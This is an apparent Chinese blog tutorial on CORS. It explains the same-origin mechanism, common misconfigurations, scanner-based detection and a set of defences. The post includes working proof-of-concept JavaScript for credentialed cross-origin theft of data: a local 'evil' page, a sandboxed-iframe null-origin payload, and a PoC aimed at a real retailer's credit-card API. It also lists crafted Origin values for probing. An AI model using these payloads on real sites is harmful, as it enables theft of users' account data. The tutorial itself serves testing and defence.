CORS介绍及其漏洞检测
文章最后更新时间为:2019年10月31日 13:41:01
关于跨域请求数据的方式,上次已经讲过了JSONP,今天轮到CORS了。
CORS是比JSONP更强大,使用也更加广泛,被发明出来就是为了干掉JSONP的,因为用的多,其安全问题也更加普遍。
1. CORS实现原理
CORS的实现原理理解起来也很简单,我们可以通过一个简单的试验来帮助理解。
我们首先修改host文件,加上
127.0.0.1 www.vuln.com
127.0.0.1 www.evil.com
这样我们访问www.vuln.com就相当于服务端。服务端新建a.php。
<!-- www.vuln.com/a.php -->
<?php
echo "username: admin; password:123456";
?>
如果我们访问http://www.vuln.com/a.php
,会正常输出username: admin; password:123456
接着在hacker端构造steal.html:
<!-- www.evil.com/steal.html -->
<!DOCTYPE>
<html>
<h1>Hello I evil page. </h1>
<script type="text/javascript">
function loadXMLDoc()
{
var xhr1 = new XMLHttpRequest();
xhr1.onreadystatechange=function()
{
if(xhr1.readyState == 4 && xhr1.status == 200) //if receive xhr1 response
{
var datas=xhr1.responseText;
alert(datas);
}
}
//request vuln page
xhr1.open("GET","http://www.vuln.com/a.php","true")
xhr1.send();
}
loadXMLDoc();
</script>
</html>
然后我们打开http://www.evil.com/steal.html
,html代码的意思是通过XMLHttpRequest访问http://www.vuln.com/a.php,然后将获取到的内容alert出来。
但是根据同源策略,这是不允许的,结果也和我们想的一样:
说到这里,有个常见的关于同源策略的误区需要指出一下,同源策略并不限制请求的发起和响应,只是浏览器拒绝了js对响应资源的操作,这点我们抓包就可以看出来
那么我们怎么使用CORS使其可以跨域访问呢,接下来我们改一下a.php:
<!-- www.vuln.com/a.php -->
<?php
header("Access-Control-Allow-Origin:http://www.evil.com");
echo "username: admin; password:123456";
?>
再次访问http://www.evil.com/steal.html
,发现可以正常alert了,成功实现了跨域资源的请求。
回想刚才做了什么,我们只是在响应头加上了Access-Control-Allow-Origin: http://www.evil.com
,浏览器看到这个,认为这是服务端允许的跨域请求,就不再阻拦js对获取内容的操作了。
其认证过程大致如下
- 网站A对浏览器说:你去帮我找服务端B要个苹果
- 浏览器对服务端B说: 我要个苹果
- 服务端B对浏览器说: 呐,这是给你的苹果,另外给你个名单,只许这些人吃。
- 浏览器拿到苹果,对比了一下名单,发现A在名单里,便把苹果给A吃了
CORS本质上就是使用各种头信息让浏览器与服务器之间进行交流,上面提到的名单就是用下面的http头字段来控制的:
其中比较重要的相应头为:
Access-Control-Allow-Origin: http://a.com 服务端接受来自http://a.com的跨域请求
Access-Control-Allow-Credentials: true 表示是否允许发送Cookie,true即发送cookie
2. CORS常见漏洞
刚才的例子中服务端加上了Access-Control-Allow-Origin: http://www.evil.com
来表示只允许http://www.evil.com
跨域访问,这种情况相对简单,实际中我们可能会遇到各种场景,于是CORS也很容易出现配置上的安全问题。总结起来大概有如下几种:
2.1 反射Origin头
当管理员想允许多个域名跨域请求时,以下写法都是不允许的
Access-Control-Allow-Origin: http://a.com, http://c.com
或者
Access-Control-Allow-Origin: http://*.a.com
因为CORS标准规定,Access-Control-Allow-Origin只能配置为单个origin, null或*。
有些开发者为了方便,直接使用请求者的origin作为ACAO的域名,例如下面的Nginx配置:
add_header "Access-Control-Allow-Origin" $http_origin;
add_header "Access-Control-Allow-Credentials" "true";
这种配置非常危险,相当于任意网站可以直接跨域读取其资源内容。
2.2 Origin 校验错误
由于前面那种反射Origin的做法过于暴力,一般也是不可取的,常用做法是通过自定义规则来校验Origin头,但是在校验过程中也会出现错误。这些错误可以分为四类:
- 前缀匹配:例如想要允许example.com访问,但是只做了前缀匹配,导致同时信任了example.com.attack.com的访问。
- 后缀匹配:例如想要允许example.com访问,由于后缀匹配出错,导致允许attackexample.com访问。
- 没有转义
.
:例如想要允许www.example.com访问,但正则匹配没有转义.
,导致允许wwwaexample.com访问。 - 包含匹配:例如想要允许example.com,但是Origin校验出错,出现允许ample.com访问。
2.3 信任null
当配置信任名单为null,可以用来和本地file页面共享数据,如下所示:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
但是攻击者也可以构造Origin为null的跨域请求,比如通过iframe sandbox:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>
var xhr=new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText);
}
}
xhr.open("GET", "http://www.vuln.com/a.php", true);
xhr.withCredentials = true;
xhr.send();</script>'>
</iframe>
2.4 HTTPS域信任HTTP域
但是如果该HTTPS网站配置了CORS且信任HTTP域,那么中间人攻击者可以先劫持受信任HTTP域,然后通过这个域发送跨域请求到HTTPS网站,间接读取HTTPS域下的受保护内容.
2.5 信任自身全部子域
很多网站为了方便会将CORS配置为信任全部自身子域,这种配置会扩大子域 XSS的危害。
比如某子站存在xss时,可以通过此xss发送跨域请求,从而获取敏感内容。
2.6 Origin:*与 Credentials:true 共用
Access-Control-Allow-Origin:*
用于表示允许任意域访问,这种配置只能用于共享公开资源。
所以下面这种配置是错误的,浏览器不允许这两种配置同时出现。(对于共享公开资源,不应该需要身份认证)
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
2.7 缺少Vary: Origin头
如果一个资源享有多个域名,它需要对不同域名的请求包生成不同的ACAO头。如果一个请求的响应被缓存,且返回中没有Vary: Origin字段,可能会导致其它域名的请求失效。
比如c.com同时允许a.com和b.com共享。c.com资源内容首先被a.com脚本跨域访问后被缓存,其中缓存响应头为Access-Control-Allow-Origin:http://a.com
这时,b.com脚本则不能读取缓存响应内容,因为缓存响应头是允许a.com共享,而不是b.com。
3. 漏洞挖掘与检测
漏洞的检测比较简单,我们只需要控制请求头中的Oragin头,观察响应头字段即可。推测开源工具:https://github.com/chenjj/CORScanner
通过分析工具源码,可以知道其检测漏洞的逻辑,发现其为变换请求头的origin字段,如果返回包中的access-control-allow-origin内容和发送的origin头内容相同,则存在此问题。
以检测http://www.vuln.com/a.php为例
1. 反射Origin头
发送origin头为http://evil.com
- 是否只匹配前置域名
发送origin头为http://www.vuln.com.evil.com
- 是否只匹配后置域名
发送origin头为http://evilvuln.com
- 是否信任null
发送origin头为null
- 是否包含匹配
发送origin头为http://uln.com
- 是否没有转义.
http://www.vulnacom
- 是否信任自定义url
发送的origin位于根目录下的origins.json
https://whatever.github.io
http://jsbin.com
https://codepen.io
https://jsfiddle.net
http://www.webdevout.net
https://repl.it
- 是否信任任意子域名
http://evil.www.vuln.com
- https是否信任http(此检测为http,故忽略)
origin为将https替换为http
但我发现了一个问题,就是其没有解析泛域名的问题,也就是配置了access-control-allow-origin为*的安全问题。
于是我fork了一份源码: https://github.com/saucer-man/CORScanner,并加上了这个功能:https://github.com/saucer-man/CORScanner/commit/3af8499c8860e203f1d3264f287c19d047fafd93,有需要的同学可以自取。
对于网站漏洞的挖掘可以使用burp,先勾选上proxy --> options --> Origin --> match and replace里面的Add spoofed CORS origin。
然后在网站一阵乱点观察功能点,最后在HTTP history来筛选带有CORS头部的值,然后用以上工具查看是否有配置缺陷。
检测到CORS配置错误以后,以下有一份poc可用来写报告:
<script>
//以受害者身份,发送一个跨域请求给目标url
var req = new XMLHttpRequest();
req.open('GET',"https://www.walmart.com/account/electrode/account/api/customer/:CID/credit-card",true);
req.onload = stealData;
req.withCredentials = true;
req.send();
function stealData(){
//由于目标站点的CORS配置错误,我们可以读取到相应包
var data= JSON.stringify(JSON.parse(this.responseText),null,2);
//展示相应包到这个页面上,作为hacker还可以将内容发送到自己的服务器
output(data);
}
function output(inp) {
document.body.appendChild(document.createElement('pre')).innerHTML = inp;
}
</script>
4. 漏洞防范
- 不要盲目反射Origin头
- 严格校验Origin头,避免出现权限泄露
- 不要配置Access-Control-Allow-Origin: null
- HTTPS网站不要信任HTTP域
- 不要信任全部自身子域,减少攻击面
- 不要配置Origin:*和Credentials: true
- 增加Vary: Origin头
文章不吃早餐一下吧